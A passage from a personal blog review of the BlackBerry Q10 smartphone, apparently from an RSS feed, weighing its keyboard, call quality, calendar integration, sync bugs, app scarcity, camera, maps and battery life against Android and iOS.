<p>Fast forward a bit more - the q10 becomes available in the US and goes on sale with T-Mobile. I spent a few days (more like a week and a very long weekend) reading up on everything that I could find on the phone. I really think that I read everything published on it by everyone 😉 Seriously. After a while the first 8+ pages on google were all links I had clicked on, and just about every youtube video that had the word &lsquo;q10&rsquo; I had watched. It was very hard to get a read on the device. It was very frustrating to read the hundreds of comments by CrackBerry fans who ignored EVERYTHING bad about the device and simply swore this was the cure for cancer. I started then reading reviews by Android fanatics (like myself) in the hope that I would get a more realistic view. These were also extremely frustrating to read. Some bashed it on things that I clearly knew the device could not be bad on (ex: battery life, push email). So - eventually - I realized that what I needed to do was go and play with one. I spent about 30 minutes, twice, in the store playing with it. Eventually I decided to go and buy it. Out of luck, the system was down. The next day, I found out it was sold out. Later that night, I found a store that carried it. First impression - the spacebar was broken (factory defect - it worked, but it was cut a bit too closely and the sparebar shifted). I exchanged the device the next day for another one [funny thing: i&rsquo;ve owned only one blackberry that I didn&rsquo;t have to exchange for a 2nd because of a manufacturer defect, and that was the 8320. Every other one has had some problem with the 1st I&rsquo;ve bought, and the 2nd has been solid for many years after that]. And here is where we finally get to the review of the BlackBerry q10 itself:</p>
<p>My first thought ofthe q10 was that it is much heavier than I thought it would be - now that I could play with it without it being locked to a 2 pound metal weight in the store so that someone wouldn&rsquo;t steal it. That said, it felt very nice and firm. It felt &ldquo;well built&rdquo;. It also felt a bit thicker than I wanted it to, but yet it fit nicely in my pocket. The next thing was making a phone call. The ear piece is simply amazing. Super loud. I think every phone is not loud enough, and this is the first one I had to turn the volume down on. Same for the speaker phone. It is extremely loud. The call quality was superb. I feel like BlackBerry has always done very well in these categories. It actually gets 4-5 bars of 4G, where as my Nexus 4 got only 1 bar of 4G. The first problem/bug I ran into was contacts - since I had become a &ldquo;google&rdquo; person for some years, I have a dedicated contacts label that contains all of my &ldquo;sorted&rdquo; contacts (the ones that have first and last name, email, all phone #&rsquo;s, etc..). These are the ones that I control manually. It turns out the BlackBerry only looks at your contacts in the &ldquo;My Contacts&rdquo; main folder. Easy enough, select all and tag the extra label. The second problem/bug that I ran into (and this one is a real bug that&rsquo;s nasty) is that when you turn on other sources (Facebook specifically), it takes contacts that match both gmail and facebook, and makes those contacts &ldquo;facebook&rdquo; contacts now. So if you only display your email contacts, the contacts that are available in facebook will not be available outside of the addressbook (ex: when you write an email). This was annoying and took a bit to figure out, but eventually I selected that all contact categories should be available.</p>
<p>Ok, moving on. The next thing that really stood out was the insane integration. CalDAV, CardDav, IMAP, Exchange. Awesome. Then social services: Evernote, Facebook, Twitter, LinkedIn. I don&rsquo;t really use social services, but again, great! Fantastic on the CalDav and CardDav. Adding both my Google Apps and work accounts was a breeze. What I did run across was a bug with deleting emails. It turns out even if you set your Gmail to not archive over IMAP but wait for client, it will only put it in the Trash when there are no labels. If there are, it will simply remove the Inbox Label. I did find a KB article on this, and it claims that they will fix this to go into the trash. For now, this is an issue. (check your &ldquo;All Mail&rdquo; for deleted items). That said, some people like this and never want to delete email. Me personally - I want my device in 100% sync, and when I hit delete, I want it to end up in the Trash (same trash) everywhere. Also, I really wish that there was a way to do &ldquo;server side&rdquo; mail searches for all email available. This is annoying. The next thing that stood out was the amazing &ldquo;flow&rdquo; of &ldquo;business&rdquo; apps and features. I put in quotes because many people will argue here about these. So let&rsquo;s list them: the calendar app is simply out of this world. Google and Apple should be absolutely ashamed by what BlackBerry has done. Every option and menu that you think should be &ldquo;just there when you do XYZ&rdquo; is there. Send an invite, see when you are free, accept an event and see how it fits in the rest. Quickly go from Month view to other months. Wow. Beautiful. I did notice that the feature where it finds &ldquo;relevant emails&rdquo; when you select a calendar invite heavily broken. But everything else is perfect. The things that you expect to be there are there. And they are where you expect them to be. It&rsquo;s like it&rsquo;s reading your mind.</p>
<p>The next thing that stood out was the &ldquo;peek/flow&rdquo; experience. I will heavily disagree with people here. It is not amazing. In fact, it was far from that. What I think people are saying is amazing is the fact that when you navigate programs and screens on the BlackBerry, there is NO delay - this is the amazing part. I mean not even that fraction of a split micro second that you feel on iOS and Android. It feels like all the screens are already there and running, and what happens is that YOUR window simply pans in one of the 8 possible &ldquo;window&rdquo; around it (that&rsquo;s 3 on top, one left, one right and 3 on the bottom ;)). This is what I think people rave about. The &ldquo;peak&rdquo; experience however in my opinion blows. It involves many steps (2-3 steps to go into the hub just to see an email and then 2-3 to get back). It doesn&rsquo;t feel right. Use an Android 4.2 system and let&rsquo;s talk again (1 button email OR 1 button to go back OR 1 button to get to your main screen) Also, the Hub view should always reset you into the main Hub view. Otherwise it&rsquo;s extra steps (if you were in the text message part for example). Again, my opinion. Many people disagree with me. The other thing that really annoys me is trying to get back into the phone app. It takes a lot of steps if you are on a call and go somewhere else (hub, text, email, app), to get back into the phone app, change views, and hangup. There needs to be a pull down method or some instant way of hanging up the call. At last here, the last annoyance was the inconsistently between menus, screens, options, and all the bugs along the way (what apps should be visible on the Hub is badly broken and shows different toggles). This is however expected. It&rsquo;s a new system. It has not matured yet. I&rsquo;ll make this point at the end, but you cannot compare this system head to head with Android and iOS because they have had 4-5 years to get a head and learn from their mistakes. Give it some time. Things like this (inconsistencies) will get sorted out.</p>
<p>The next ting that I ran across were the apps. Let&rsquo;s not pretend this is not an issue. It is a very big issue. There are no apps (yes many will disagree). I wouldn&rsquo;t call myself an &ldquo;App user&rdquo;, but to me, having apps means having the popular apps that 80% of the people have come to depend upon. For some, this is instagram. For others, this is Netflix. For me - while it&rsquo;s nice having the popular ones, I need the role/functionality at the end of the day. Some of the stuff I can get by with the great built ins (Remember app + Evernote integration). For others - IRC client, SSH client - there isn&rsquo;t a good alternative. And for yet others - jabber client, SIP client - there is nothing! I expected this. I fully mentally prepared myself that I will not even try to use the app store. Well I did. I actually had used it with my PlayBook, and the reality is that while there are some apps (some very key games have been won over), 9/10 apps that I need are not there. The integration with the ones that do exist (AccuWeather) is not yet perfect either. I am going to skip over this category, because honestly, if apps are your thing - then the blackberry is simply not for you. The Android apps is a great idea with a very poor execution. I think this will get better, but with time. As many people have said, Android and iOS started in the same/much much worse place. Give it time. The only gotcha I can see is the chicken and egg problem - the apps will come as people do, but people will come if there are apps. For now, there are some useful ones that I suffer without. And it&rsquo;s not like I even need them all the time, but that one time that I do, it gets annoying. (ex: jabber (not gchat), Yelp, sip client, irc client, FlipBoard, GroupMe for work, NextBus, ssh/scp client, 1 password, and some games - but that&rsquo;s really a screen thing&hellip;again, this phone is not meant for games).</p>
<p>Moving on - the keyboard - this is WHY you would buy the q10. This is what brought me to the device in the first place. I can&rsquo;t say enough about how amazing the keyboard is. Yes, you can actually type faster on a virtual keyboard. But it&rsquo;s not about that. You will enjoy this and you will not make mistakes. It&rsquo;s about the fact that you don&rsquo;t have to look at the keyboard and THEN at the word you typed, and then back to the keyboard. You can actually keep your eyes on the screen and type. (well I can). Or, for most people, you can look just at the keyboard and know that 100% of what you type will show up. I love this. I really like the feeling of being able to touch the physical keys and get that physical feedback. Just to let you know, it did take a little bit to get used to the keyboard. About 2 days I would say. I won&rsquo;t drill into this, but like many people have mentioned, I was a &ldquo;consumer of information&rdquo;. I read a lot of websites/emails, and if it required a reply that was over 2-3 sentences, I did it later. This has all changed. I now write paragraphs to pages. Not only with ease, but with a great internal satisfaction.</p>
<p>Camera? Quick, and good (not amazing). Sometimes it takes great pictures, at other times it doesn&rsquo;t. I like how fast it fires, and I like how well it integrates with the share option. Nothing that&rsquo;s not available on Android or iOS. The autofocus at close range could be better. I think the lens needs to be a bit better, and the MP need to be higher. Some pictures do come out a bit grainy, and others come out amazing. I did enable the image stabilization, which made a bit of a difference. Overall, I would say it&rsquo;s good, but not amazing. Nothing that can compare with the iPhones (not even close). Android has pretty mediocre cameras (on the Nexus devices) for the most part - although Samsung has really changed that.</p>
<p>Screen size? Small. Good for reading texts. Could be better for emails. Not great for anything else. Browsing is very tough. GPS/Maps surprisingly enough is good. Again, as mentioned before, you are getting a great phone with some &ldquo;smart abilities&rdquo; which happened to lie around email and texts. Accept it. The sooner you do the more you will enjoy it 😉</p>
<p>Maps? Interesting. VERY interesting. As I said about the z10, I truly thing the technology behind the maps here is far superior to Android&rsquo;s. The navigation gives you that extra heads up just before you really need it. Ex: &ldquo;take a right and get in the left lane to take a left&rdquo;. Android will tell you to take a right, and when you get in the right lane, it will then tell you that you need to take a left. Really frustrating. I haven&rsquo;t used iOS&rsquo; maps enough to conclude if they are any better, but I think the UI on iOS is better than Android&rsquo;s. What does lack is the database. It will place you a bit away from where you are going, or on the other side of the highway (this happened to me going to HomeDepot). The traffic avoidance is specular. Yet another thing that google should be embarrassed about - although I do think they fixed this in their latest maps release. I am really excited to see where this goes.</p>
<p>Web Browsing/Voice integration/Home screen Actions? It&rsquo;s OK. My only gripe is that you can&rsquo;t search as fast as you can with Google Now. Siri? Siri is fantastic. BlackBerry has the internal integration going like Siri (much better designed than Android it seems for calling apps and their actions the way Siri does), but the information google provides for web searches is very nice. Google has that extra little glue to make it nice - like places/their phone #&rsquo;s right under them. It&rsquo;s the suffering from leaving the &ldquo;Google Universe&rdquo;. I think this is a problem on the iPhone, but not as bad. The voice integration needs work. The quick search is very useful in some places and a bit behind in others. You can make it better by pruning out what it searches so that Google is first on the list. I think I have contacts, google, and maps only.</p>
<p>Next on the list - battery. I am very mixed about this. Some reviews say 20 hours of talk time, others say 9 hours. You can definitely get a lot, but it really depends how you use it - and I don&rsquo;t mean not talking/not getting emails. It looks like the screen (obviously) burns a lot of the battery. Things like blackberry world burn quite a lot of battery. I think waking the phone w/ a swipe might too, but this is just a guess/theory at this point. However, I&rsquo;ve noticed that running external apps is the worst thing. This is because the OS is not yet optimized. If you remember, the same happened with iOS and Android. Think about how big the battery is. It should be able to last 2 days EASILY, but it doesn&rsquo;t. Apps simply don&rsquo;t utilize the OS efficiently, and the OS doesn&rsquo;t run efficiently - yet. Even native apps. Let&rsquo;s not even talk about &ldquo;Android ported&rdquo; apps. The reality is that if you don&rsquo;t use 3rd party apps - let&rsquo;s say you just have a weather app that you check 2-3 times a day, your phone will last for a VERY long time with constant push email, texts, and 1-2 hours of phone calls. Today for example: I am at 15 hours of usage so far and my battery is at 55%. This is with ~1 hr of phone calls, 200+ emails, and 200+ texts, while on 4G. I have opened the calendar app about 15 times today, and I have opened the Remember app 3 times. I browsed the web for 20-30 minutes. The only external apps that I have used today are AccuWeather (twice) and iHeartRadio for ~5-6 minutes. I think the battery is also getting better after a few days. The first few days it was much worse. Many people claim this online for many phones. There are no memory effects w/ Lithium Ion, but there is some sort of a boundary push/calibration for the internal chip to understand where the start+end of the battery really is. That or pushing the cells to the max takes a few days. I&rsquo;ve read all of these being mentioned and I am not sure which is 100% true (if any), but the reality is that I have had many phones get better battery life after ~2 weeks than they did the 1st week (or first few days).</p>
<p>So, to wrap things up - is this the best phone that has ever come out? The one and only phone you will ever need? The cure for cancer? No!</p>
<p>Is it a good phone? Absolutely. Is it a great phone? Absolutely.</p>
<p>In this day and age, I think that you have to be very ignorant to say XYZ phone is the BEST phone I have ever used and the &ldquo;it&rdquo;. Maybe it&rsquo;s the &ldquo;it&rdquo; for you, but not for someone else. Android has some fantastic things. The iPhone has some fantastic things. BlackBerry has some fantastic things. I am sure there are other great platforms (I haven&rsquo;t used the new Windows system enough to judge, but I am not a fan). Each OS, each Phone (hardware), and each revision brings something great and unique.</p>
<p>If I had to sum up the q10 - it brings an amazingly built phone which is very well thought out from everything like where the speaker is to how high the keys are. The q10 has a fantastic physical keyboard with some smart features (email, text, and maps). The beautiful integration of things like the calendar/memo/and social apps is simply superb. The way the screens instantly open (even on the small screen) is very interesting. Again, my guess is this is the real &ldquo;things just flow&rdquo; experience that people keep talking about. You can&rsquo;t understand this until you try it. The iPhone is very fast in app closing/opening, and even on it it&rsquo;s not the same. Android is also getting very fast, but again, it&rsquo;s just not the same. This is something I didn&rsquo;t understand when I read the reviews. Anyway, I bought the q10 with the idea in mind that I will carry and Android phone along - I have specifically tried (and succeeded) not to do this for the first week. My goal is the same for next week. There have been a couple of apps that I have missed, but for the most part, I&rsquo;ve been able to get along just fine. The push email, the central &ldquo;everything in one place&rdquo; (even though getting to this one place is 3 swipes ;)) is very very nice. I think some people associate this phone with &ldquo;getting things done&rdquo;. I think this is codeword for &ldquo;no apps, but it&rsquo;s ok&rdquo;. I agree. Most of the apps that you want are not here. But that&rsquo;s ok. You quickly start realizing how many of the apps you actually needed or didn&rsquo;t need. A lot of the &ldquo;need&rdquo; things are built-in, and nicely too. The calendar/email integratation is very nice. I can&rsquo;t speak about BBM because I was never a heavy user. I had a few friends on it, at this point, no one is left (from my friends that is). The overall BB 10 experience is not without bumps of course, but again, this is expected. Give it some time. Be patient. I would say this phone is not for everyone. There are many people that will get extremely frustrated. I personally think that this is the perfect device for anyone that needs to or loves to type. It is also the perfect device for any blackberry fan who has been getting pissed off with the lack of thought/execution coming out of the &ldquo;amazing&rdquo; new phones lately (everything from reception, to speaker/microphone, to button placement). I think that for most people, this should be one of two devices - where the 2nd is an iPad or an Android Tablet, or even an Android phone in wifi mode. If you can afford it, get an Android or an iPhone with a SIM chip. But this is definitely my primary phone. Between the design and execution, and the keyboard, it is the devices that I have craved for a VERY long time.</p>
<p>By the way, you may ask, is the keyboard REALLY that good? To that I would say - it&rsquo;s good enough to write all of this. Yes. Really. (if things sound disjoined or all over the place, remember how big the screen is and how fast you can type on a phone keyboard and how long this post about my experience is).</p>]]></content:encoded>
    </item>
  </channel>
</rss>
